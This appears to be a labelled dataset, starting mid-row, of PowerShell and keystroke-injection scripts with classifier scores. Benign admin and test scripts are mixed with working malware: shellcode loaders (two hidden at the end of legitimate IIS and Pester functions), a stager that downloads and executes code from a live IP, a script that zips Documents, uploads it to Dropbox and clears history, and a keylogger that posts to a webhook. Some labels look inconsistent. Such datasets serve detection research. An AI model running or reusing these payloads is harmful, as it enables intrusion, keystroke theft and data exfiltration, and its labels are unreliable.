5,0x85,0xc0,0x0f,0x84,0x58,0xff,0xff,0xff,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe1,0x58,0xc3,0x5f,0xe8,0x9d,0xfe,0xff,0xff,0x36,0x00,0x32,0x00,0x2e,0x00,0x37,0x00,0x33,0x00,0x2e,0x00,0x32,0x00,0x30,0x00,0x35,0x00,0x2e,0x00,0x32,0x00,0x39,0x00,0x00,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0992236e-05,0.999949
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_nkxu89tt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 30 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_30.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.453419e-05
"DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Opens Notepad and types out the ASCII art enter REM Version: 1.0 enter REM Category: ASCII enter DELAY 1200 enter GUI r enter DELAY 600 enter STRING notepad enter ENTER enter DELAY 750 enter GUI UPARROW enter DELAY 500 enter STRING K00KKKKKKKKOOOOOOOOOOO0KKKKXKK00O000OOOOOOkkkkOO0KKKKKKXKKKKXKKKKK0OkxxkxxxxxxkO000KKKKKKKK000000000 enter ENTER enter STRING 0000OO0O0OOOO000OO0000KKKK000OkkkkkkkkxxxxkkkkxkkkkkkOO00OOO00KKKKK0OkxxxxxxxxxkO00KKKKKKKKKK0000000 enter ENTER enter STRING KKK0000OOOOOO0000000000OOOkkkkkOOOOkkkkkkxoolcclc:;;:clodkOOkkOOOOOOOkxxxxxkkkxxkkOOO000O00000000000 enter ENTER enter STRING XXXXXXXKKKKK00000000000000OOkOOOOOkkkkkOOo:,'',,,,,,,',,:ldkkkkkkxxxxxxxxxkkkkxxkxxkkOOOO00KKKXK00KK enter ENTER enter STRING XXXXXXXXXNNXXK00000000KKXKKK00OOkkkOkkkkdl;,'.'..''''''',;;lxOkOOOkkkkxxkkkkkkkkkkkO0KKKKKXNNNNXK0KX enter ENTER enter STRING XXXXXXXNNNNXKK000000000KXXXXKKKOOOO0OOOkoc:;;;,,',,,,,,,,,,;lO00K000OkkkkkkkkO00KKKKXKXXXXXNNNNNX00K enter ENTER enter STRING XNNXXXXXKKKK00000000KK00KKKKK000OOO00kdloolooodoooddddool;,,cOKK000OkkkkkkkkkkO0KKKKXXXXXXXXNNNNK000 enter ENTER enter STRING XXXXKK000000KXK0000KKK0000OOOOOOOkkkkd:codlloddddxxxxxxxxl;,lkOOkkkkkkkkxkkkkkkOO000KKKXXXXXNNNNXK00 enter ENTER enter STRING K0K0000000KXXXK00000KXK0000000000Okkkdcldolccloddddxxxkxxo:;lkkkkxxxk00kxkkkkkkkkkkkk00KXKXXXNNNNNXK enter ENTER enter STRING 000000000XXNNX000000K0000KXXXXXXXK0Okkdddl::::codolllodddo::x0OkkkxxkOOkxkkkkOOOkkkkkkOO000KXNNNXXXX enter ENTER enter STRING KKKK0000KXNNNXKK000000KKKXNNNNXXXXX0xkOkdllccccoxxdolloodlcx0KKKKOkxxkkkkkkkkO000OkkkkkkkkOO0XXXXXXK enter ENTER enter STRING XXNXXKKKKXNWNXKKKKKKKXNNNNNNXXXXXXXOodOkolllllloxxxxxxxxdooOKKKKKKOOkkkkkkkkkOK000kkkkkkkkkkOO0KKXKK enter ENTER enter STRING XNNXXNXKKKXNNXKKKKKKKKNNNNNNXXXXXXX0xdkkollllccoddxxxxxxdddOKKKKKK0K0OkkkkkkkOKKKOkkkkO000OkkkkkO0KK enter ENTER enter STRING XXXXKK00KKKKKKK00K000KXNNNNNNNXXXXXK0O0kolllllodxxxxxxxddxk0KKK0KK0K0kkxxkkkkO00OkkOO000000OkkkkkkkO enter ENTER enter DUCKY_REAL_END",1,1,6.390966e-05,0.9999361
"win+r enter powershell enter enter enter function Save-CSVasExcel { enter param ( enter [string]$CSVFile = $(Throw 'No file provided.') enter ) enter enter BEGIN { enter function Resolve-FullPath ([string]$Path) { enter if ( -not ([System.IO.Path]::IsPathRooted($Path)) ) { enter enter $Path = ""$PWD\$Path"" enter } enter [IO.Path]::GetFullPath($Path) enter } enter enter function Release-Ref ($ref) { enter ([System.Runtime.InteropServices.Marshal]::ReleaseComObject([System.__ComObject]$ref) -gt 0) enter [System.GC]::Collect() enter [System.GC]::WaitForPendingFinalizers() enter } enter enter $CSVFile = Resolve-FullPath $CSVFile enter $xl = New-Object -ComObject Excel.Application enter } enter enter PROCESS { enter $wb = $xl.workbooks.open($CSVFile) enter $xlOut = $CSVFile -replace '\.csv$', '.xlsx' enter $ws = $wb.Worksheets.Item(1) enter $range = $ws.UsedRange enter [void]$range.EntireColumn.Autofit() enter enter $num = 1 enter $dir = Split-Path $xlOut enter $base = $(Split-Path $xlOut -Leaf) -replace '\.xlsx$' enter $nextname = $xlOut enter while (Test-Path $nextname) { enter $nextname = Join-Path $dir $($base + ""-$num"" + '.xlsx') enter $num++ enter } enter enter $wb.SaveAs($nextname, 51) enter } enter enter END { enter $xl.Quit() enter enter $null = $ws, $wb, $xl | % {Release-Ref $_} enter } enter } enter enter",0,0,0.911077,0.08892296
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_rjoifgeo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_25.csv"") -NoTypeInformation enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter",0,0,0.999966,3.397952e-05
win+r enter powershell enter enter enter $ErrorActionPreference = 'Stop' enter Set-StrictMode -Version Latest enter enter properties { enter $container = @{} enter } enter enter Task default -depends task2 enter enter Task Step1 -alias task1 { enter 'Hi from Step1 (task1)' enter } enter enter Task Step2 -alias task2 -depends task1 { enter 'Hi from Step2 (task2)' enter } enter enter,0,0,0.9999356,6.44164e-05
"win+r powershell enter $appdirectory=""<Replace with your app directory>"" $webappname=""mywebapp$(Get-Ran enter dom)"" $location=""West Europe"" New-AzResourceGroup -Name myResourceGroup -Locati enter on $location New-AzAppServicePlan -Name $webappname -Location $location ` -Reso enter urceGroupName myResourceGroup -Tier Free New-AzWebApp -Name $webappname -Locati enter on $location -AppServicePlan $webappname ` -ResourceGroupName myResourceGroup enter",1,1,0.008292092,0.99170786
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_8nvo3yct"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_50.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4379325e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_qah23swb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.434033e-05
"win+r powershell enter Describe ""Remote module tests"" -Tags 'Feature','RequireAdminOnWindows' { Befor enter eAll { if (!$IsWindows) { $originalDefaultParameterValues = $PSDefaultParame enter terValues.Clone() $PSDefaultParameterValues[""it:skip""] = $true return } $ps enter session = New-RemoteSession enter",1,1,0.0004431052,0.99955684
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_5ty2tx1o"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3768963e-05
"win+r powershell enter  [CmdletBinding()] [OutputType('System.Management.Automation.PSCustomObject' enter )] param ( [Parameter(Mandatory)] [string]$DnsZone, [Parameter()] [string]$D enter nsServer = (Get-ADDomain).ReplicaDirectoryServers[0], [Parameter()] [int]$Warn enter ingDays = 1 enter enter",1,1,0.0072594783,0.9927406
"win+r powershell enter $JVar_g=$null; $rVER_m = ""37""; $txtEnc_ASC=[System.Text.Encoding]::ASCII; $ok= enter $true $Local_parM = ""WyI1MzMzODUwMzk5MDU4NDk1ODEyIiwxNjgwODkzODc3LCJNams0TVRrSE enter Nnc0NBUWNKQ3dnQUFnd0FCUUFIQVFrRFJRb0lBUVlNQ2tVSkJ3RUNBUUVDQVFBQVJHNWNTbHclM0QiXQ enter ==""; function recvValueFromIndx([string]$btARR2) { $btARR=[System.Convert]::Fr enter omBase64String($btARR2); $st=$txtEnc_ASC.GetBytes('Get-ItemPropertyValue'); $ enter ed=$btARR[0..4]; enter enter",1,1,5.5057128e-05,0.9999449
"win+r powershell enter unknown_key_action ctrl alt t ACCESS_TOKEN=""TOKEN"" enter USER_NAME=$(whoami) enter path=""/home/$USER_NAME/Documents"" enter RANDOM=$(shuf -i 1-999999999999 -n 1) enter NAME=""$RANDOM.zip"" enter ZIP_PATH=""$path/$NAME"" enter FOLDER=""/home/$USER_NAME/Documents/"" enter if [ -r ""$FOLDER"" ]; then enter zip -r ""$ZIP_PATH"" ""$FOLDER"" > /dev/null 2>&1 enter else enter echo """" enter fi enter DROPBOX_FOLDER=""/$NAME"" enter curl -X POSTDROPBOX_API_CONST--header ""Authorization: Bearer $ACCESS_TOKEN"" --header ""Dropbox-API-Arg: {\""path\"": \""$DROPBOX_FOLDER\"",\""mode\"": \""add\"",\""autorename\"": true,\""mute\"": false}"" --header ""Content-Type: application/octet-stream"" --data-binary ""@$ZIP_PATH"" enter history -c enter enter",1,1,0.00011825002,0.99988174
"win+r enter powershell enter enter enter $wc=NeW-OBJeCt SystEm.Net.WEbCLieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HEadeRs.Add('User-Agent',$u);$Wc.ProXY = [SysteM.NET.WebReQUest]::DeFaULTWeBPROXY;$wC.PrOXy.CreDENTialS = [SySteM.NEt.CreDeNtiaLCache]::DEfAulTNeTwoRkCREDEntiaLs;$K='5f4dcc3b5aa765d61d8327deb882cf99';$i=0;[CHAR[]]$b=([CHar[]]($WC.DOWNLoAdStRINg(""http://52.28.242.165:8080/index.asp"")))|%{$_-bXor$k[$i++%$K.LeNgTh]};IEX ($B-joIN'') enter enter",1,1,5.5841458e-05,0.9999442
"win+r enter powershell enter enter enter filter Add-IisServerManagerMember enter { enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true,ValueFromPipeline=$true)] enter enter $InputObject, enter enter [Parameter(Mandatory=$true)] enter [Microsoft.Web.Administration.ServerManager] enter enter $ServerManager, enter enter [Switch] enter enter $PassThru enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $InputObject | enter Add-Member -MemberType NoteProperty -Name 'ServerManager' -Value $ServerManager -PassThru | enter Add-Member -MemberType ScriptMethod -Name 'CommitChanges' -Value { $this.ServerManager.CommitChanges() } enter enter if( $PassThru ) enter { enter return $InputObject enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x15,0x81,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1804836e-05,0.99994814
"win+r powershell enter  $newAccountName='account-powershell-test' $existingResourceGroup='PowerShellT enter est' $location = ""West Central US"" function CleanupExistingTestAccount { $chec enter k = Get-AzAutomationAccount -ResourceGroupName $existingResourceGroup -Name $new enter AccountName -ErrorAction SilentlyContinue if ($null -ne $check) { Remove-AzAu enter tomationAccount -ResourceGroupName $existingResourceGroup -Name $newAccountName enter -Force enter enter",1,1,0.0004045947,0.99959546
"win+r enter powershell enter enter enter function New-TestDrive ([Switch]$PassThru, [string] $Path) { enter if ($Path -notmatch '\S') { enter $directory = New-RandomTempDirectory enter } enter else { enter if (-not (& $SafeCommands['Test-Path'] -Path $Path)) { enter $null = & $SafeCommands['New-Item'] -ItemType Container -Path $Path enter } enter enter $directory = & $SafeCommands['Get-Item'] $Path enter } enter enter $DriveName = ""TestDrive"" enter if ( -not (& $SafeCommands['Test-Path'] ""${DriveName}:\"") ) { enter $null = & $SafeCommands['New-PSDrive'] -Name $DriveName -PSProvider FileSystem -Root $directory -Scope Global -Description ""Pester test drive"" enter } enter if (-not (& $SafeCommands['Test-Path'] ""Variable:Global:$DriveName"")) { enter & $SafeCommands['New-Variable'] -Name $DriveName -Scope Global -Value $directory enter } enter enter if ( $PassThru ) { enter & $SafeCommands['Get-PSDrive'] -Name $DriveName enter } enter } enter function Clear-TestDrive ([String[]]$Exclude) { enter $Path = (& $SafeCommands['Get-PSDrive'] -Name TestDrive).Root enter if (& $SafeCommands['Test-Path'] -Path $Path ) { enter enter Remove-TestDriveSymbolicLinks -Path $Path enter & $SafeCommands['Get-ChildItem'] -Recurse -Path $Path | enter & $SafeCommands['Sort-Object'] -Descending -Property ""FullName"" | enter & $SafeCommands['Where-Object'] { $Exclude -NotContains $_.FullName } | enter & $SafeCommands['Remove-Item'] -Force -Recurse enter enter } enter } enter enter function New-RandomTempDirectory { enter do { enter $tempPath = Get-TempDirectory enter $Path = & $SafeCommands['Join-Path'] -Path $tempPath -ChildPath ([Guid]::NewGuid()) enter } until (-not (& $SafeCommands['Test-Path'] -Path $Path )) enter enter & $SafeCommands['New-Item'] -ItemType Container -Path $Path enter } enter enter function Get-TestDriveItem { enter param ([string]$Path) enter enter & $SafeCommands['Write-Warning'] -Message ""The function Get-TestDriveItem is deprecated since Pester 4.0.0 and will be removed from Pester 5.0.0."" enter enter Assert-DescribeInProgress -CommandName Get-TestDriveItem enter & $SafeCommands['Get-Item'] $(& $SafeCommands['Join-Path'] $TestDrive $Path ) enter } enter enter function Get-TestDriveChildItem { enter $Path = (& $SafeCommands['Get-PSDrive'] -Name TestDrive).Root enter if (& $SafeCommands['Test-Path'] -Path $Path ) { enter & $SafeCommands['Get-ChildItem'] -Recurse -Path $Path enter } enter } enter enter function Remove-TestDriveSymbolicLinks ([String] $Path) { enter if ( (GetPesterPSVersion) -ge 6) { enter return enter } enter $reparsePoint = [System.IO.FileAttributes]::ReparsePoint enter & $SafeCommands[""Get-ChildItem""] -Recurse -Path $Path | enter where-object { ($_.Attributes -band $reparsePoint) -eq $reparsePoint } | enter foreach-object { $_.Delete() } enter } enter enter function Remove-TestDrive { enter enter $DriveName = ""TestDrive"" enter $Drive = & $SafeCommands['Get-PSDrive'] -Name $DriveName -ErrorAction $script:IgnoreErrorPreference enter $Path = ($Drive).Root enter if ($pwd -like ""$DriveName*"" ) { enter & $SafeCommands['Write-Warning'] -Message ""Your current path is set to ${pwd}:. You should leave ${DriveName}:\ before leaving Describe."" enter } enter enter if ( $Drive ) { enter $Drive | & $SafeCommands['Remove-PSDrive'] -Force enter } enter enter Remove-TestDriveSymbolicLinks -Path $Path enter enter if (& $SafeCommands['Test-Path'] -Path $Path) { enter & $SafeCommands['Remove-Item'] -Path $Path -Force -Recurse enter } enter enter if (& $SafeCommands['Get-Variable'] -Name $DriveName -Scope Global -ErrorAction $script:IgnoreErrorPreference) { enter & $SafeCommands['Remove-Variable'] -Scope Global -Name $DriveName -Force enter } enter } enter enter function Setup { enter enter param( enter [switch]$Dir, enter [switch]$File, enter $Path, enter $Content = """", enter [switch]$PassThru enter ) enter enter Assert-DescribeInProgress -CommandName Setup enter enter $TestDriveName = & $SafeCommands['Get-PSDrive'] TestDrive | enter & $SafeCommands['Select-Object'] -ExpandProperty Root enter enter if ($Dir) { enter $item = & $SafeCommands['New-Item'] -Name $Path -Path ""${TestDriveName}\"" -Type Container -Force enter } enter if ($File) { enter $item = $Content | & $SafeCommands['New-Item'] -Name $Path -Path ""${TestDriveName}\"" -Type File -Force enter } enter enter if ($PassThru) { enter return $item enter } enter } enter enter $Mzr = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Mzr -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xea,0xbf,0xcd,0xe2,0xd8,0x42,0xd9,0x74,0x24,0xf4,0x5a,0x2b,0xc9,0xb1,0x47,0x31,0x7a,0x18,0x83,0xc2,0x04,0x03,0x7a,0xd9,0x00,0x2d,0xbe,0x09,0x46,0xce,0x3f,0xc9,0x27,0x46,0xda,0xf8,0x67,0x3c,0xae,0xaa,0x57,0x36,0xe2,0x46,0x13,0x1a,0x17,0xdd,0x51,0xb3,0x18,0x56,0xdf,0xe5,0x17,0x67,0x4c,0xd5,0x36,0xeb,0x8f,0x0a,0x99,0xd2,0x5f,0x5f,0xd8,0x13,0xbd,0x92,0x88,0xcc,0xc9,0x01,0x3d,0x79,0x87,0x99,0xb6,0x31,0x09,0x9a,0x2b,0x81,0x28,0x8b,0xfd,0x9a,0x72,0x0b,0xff,0x4f,0x0f,0x02,0xe7,0x8c,0x2a,0xdc,0x9c,0x66,0xc0,0xdf,0x74,0xb7,0x29,0x73,0xb9,0x78,0xd8,0x8d,0xfd,0xbe,0x03,0xf8,0xf7,0xbd,0xbe,0xfb,0xc3,0xbc,0x64,0x89,0xd7,0x66,0xee,0x29,0x3c,0x97,0x23,0xaf,0xb7,0x9b,0x88,0xbb,0x90,0xbf,0x0f,0x6f,0xab,0xbb,0x84,0x8e,0x7c,0x4a,0xde,0xb4,0x58,0x17,0x84,0xd5,0xf9,0xfd,0x6b,0xe9,0x1a,0x5e,0xd3,0x4f,0x50,0x72,0x00,0xe2,0x3b,0x1a,0xe5,0xcf,0xc3,0xda,0x61,0x47,0xb7,0xe8,0x2e,0xf3,0x5f,0x40,0xa6,0xdd,0x98,0xa7,0x9d,0x9a,0x37,0x56,0x1e,0xdb,0x1e,0x9c,0x4a,0x8b,0x08,0x35,0xf3,0x40,0xc9,0xba,0x26,0xfc,0xcc,0x2c,0x79,0x3e,0x46,0x44,0x11,0x43,0x58,0x85,0xbe,0xca,0xbe,0xf5,0x6e,0x9d,0x6e,0xb5,0xde,0x5d,0xdf,0x5d,0x35,0x52,0x00,0x7d,0x36,0xb8,0x29,0x17,0xd9,0x15,0x01,0x8f,0x40,0x3c,0xd9,0x2e,0x8c,0xea,0xa7,0x70,0x06,0x19,0x57,0x3e,0xef,0x54,0x4b,0xd6,0x1f,0x23,0x31,0x70,0x1f,0x99,0x5c,0x7c,0xb5,0x26,0xf7,0x2b,0x21,0x25,0x2e,0x1b,0xee,0xd6,0x05,0x10,0x27,0x43,0xe6,0x4e,0x48,0x83,0xe6,0x8e,0x1e,0xc9,0xe6,0xe6,0xc6,0xa9,0xb4,0x13,0x09,0x64,0xa9,0x88,0x9c,0x87,0x98,0x7d,0x36,0xe0,0x26,0x58,0x70,0xaf,0xd9,0x8f,0x80,0x93,0x0f,0xe9,0xf6,0xfd,0x93;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$NoDM=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($NoDM.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$NoDM,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1919473e-05,0.999948
DUCKY_REAL_BEGIN enter REM FalsePhilosopher enter REM WIP enter REM target win enter REM startup delay enter DELAY 300 enter REM Move selected window to the left monitor enter WINDOWS+SHIFT+LEFT enter DELAY 300 enter ALT+TAB enter REM Move selected window to the right monitor enter DELAY 300 enter WINDOWS+SHIFT+RIGHT enter DELAY 300 enter ALT+TAB enter WINDOWS+SHIFT+LEFT enter DELAY 300 enter ALT+TAB enter DELAY 300 enter WINDOWS+SHIFT+RIGHT enter DELAY 300 enter ALT+TAB enter WINDOWS+SHIFT+LEFT enter DELAY 300 enter ALT+TAB enter DELAY 300 enter WINDOWS+SHIFT+RIGHT enter DELAY 300 enter REM make script and run it to do so every 5 mins enter DUCKY_REAL_END,1,1,5.935128e-05,0.99994063
"win+r powershell enter $serviceBaseName = 'CarbonGrantControlServiceTest' $serviceName = $serviceBaseNa enter me $servicePath = Join-Path $TestDir NoOpService.exe $user = 'CrbnGrantCntrlSvc enter Usr' $password = [Guid]::NewGuid().ToString().Substring(0,9) + ""Aa1"" $userPermSt enter artPattern = ""/pace =$($env:ComputerName)\$user*"" function Start-TestFixture { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Re enter solve) } enter",1,1,0.001044439,0.9989555
"win+r powershell enter Set-StrictMode -Version Latest InModuleScope Pester { Describe ""New-PesterStat enter e"" { Context ""TestNameFilter parameter is set"" { $p = new-pesterstate -TestNam enter eFilter ""filter"" it ""sets the TestNameFilter property"" { $p.TestNameFilter | enter should -be ""filter"" } } enter",1,1,0.011194117,0.9888059
"win r powershell -nop -noni -exec bypass -w hidden enter enter $dc = ""webhook_goes_here!"";$a = '[dllimport(""user32.dll"", charset=charset.auto, exactspelling=true)] public static extern short getasynckeystate(int virtualkeycode); [dllimport(""user32.dll"", charset=charset.auto)] public static extern int getkeyboardstate(byte[] keystate); [dllimport(""user32.dll"", charset=charset.auto)] public static extern int mapvirtualkey(uint ucode, int umaptype); [dllimport(""user32.dll"", charset=charset.auto)] public static extern int tounicode(uint wvirtkey, uint wscancode, byte[] lpkeystate, system.text.stringbuilder pwszbuff, int cchbuff, uint wflags);';$a = add-type -memberdefinition $a -name 'win32' -namespace api -passthru;$b = [system.diagnostics.stopwatch]::startnew();$c = [timespan]::fromseconds(10);while($true){$d = $false;try{while ($b.elapsed -lt $c){sleep -milliseconds 30;for($e = 8; $e -le 254; $e++){$f = $a::getasynckeystate($e);if ($f -eq -32767){$d = $true;$b.restart();$null = [console]::capslock;$g = $a::mapvirtualkey($e, 3);$h = new-object byte[] 256;$j = $a::getkeyboardstate($h);$k = new-object -typename system.text.stringbuilder;if($a::tounicode($e, $g, $h, $k, $k.capacity, 0)){;$l = $k.tostring();if ($e -eq 8) {$l = ""[bksp]""};if ($e -eq 13) {$l = ""[ent]""};if ($e -eq 27) {$l = ""[esc]""};$m += $l}}}}}finally{if($d){$n = $m -replace '[&<>]', {$args[0].value.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')};$o = get-date -format ""dd-mm-yyyy hh:mm:ss"";$p = $o+"" : ""+'`'+$n+'`';$q = @{""username"" = ""$env:computername"" ;""content"" = $p} | convertto-json;irm -uri $dc -method post -contenttype ""application/json"" -body $q;$d = $false;$m = """"}}$b.restart();sleep -milliseconds 10} enter",1,1,0.00011797892,0.999882
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_18ab8gwk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter",0,0,0.9999654,3.452217e-05
